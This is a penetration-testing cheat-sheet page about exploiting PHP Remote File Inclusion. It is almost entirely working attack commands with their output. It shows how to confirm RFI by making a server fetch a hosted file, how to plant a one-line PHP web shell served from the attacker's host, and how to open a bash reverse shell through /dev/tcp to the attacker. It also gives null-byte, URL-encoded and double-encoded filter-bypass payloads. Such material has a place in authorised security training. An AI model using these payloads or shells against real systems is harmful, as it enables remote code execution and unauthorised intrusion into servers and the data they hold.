Skip to content
HackIndex.io

Remote File Inclusion Exploitation

3 min read Created Jan 26, 2026 Last updated Mar 28, 2026

Remote File Inclusion executes PHP code fetched from an attacker-controlled URL. It requires allow_url_include = On in the PHP configuration, which is disabled by default on modern installs. When it's enabled, it's a direct path to code execution without needing to write anything to disk on the target. Confirm RFI is active before proceeding: a false positive wastes time and generates noise. For local file inclusion techniques, see LFI exploitation. For fuzzing parameters to identify inclusion points, see file inclusion fuzzing.

  • Confirm RFI by hosting a test file and checking if the server fetches it.
  • Web shell deployment hosts a PHP shell on your server and includes it via the vulnerable parameter.
  • Reverse shell delivers interactive access through the hosted shell's cmd parameter.
  • Filter bypasses use null bytes, URL encoding, and double encoding to evade protocol checks.

Confirm RFI is Active

Host a test file on your Kali machine and point the vulnerable parameter at it. An incoming request on your HTTP server confirms the target is fetching remote URLs:

┌──(kali㉿kali)-[~]
└─$ echo 'RFICONFIRM' > /tmp/rfi_test.txt && python3 -m http.server $LPORT -d /tmp &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/rfi_test.txt" | grep RFICONFIRM 
RFICONFIRM

RFICONFIRM in the response means the server fetched your file and included its content. If there is no output but your HTTP server received a request, the content is being included but not displayed: still confirmed, just blind.

Deploy a Web Shell

Host a minimal PHP web shell and include it via the vulnerable parameter:

┌──(kali㉿kali)-[~]
└─$ echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php && python3 -m http.server $LPORT -d /tmp &
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/shell.php&cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Get a Reverse Shell

Set up your listener and host a reverse shell payload:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:8080/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

If bash is not available, use the mkfifo method or a Python reverse shell via the cmd parameter on the hosted shell. Run the HTTP server on a different port from the netcat listener.

Filter Bypasses

Some applications filter http:// but miss other protocols or encoding variants:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/shell.php%00"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http%3A%2F%2F$LHOST%3A$LPORT%2Fshell.php"
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http%253A%252F%252F$LHOST%253A$LPORT%252Fshell.php"

References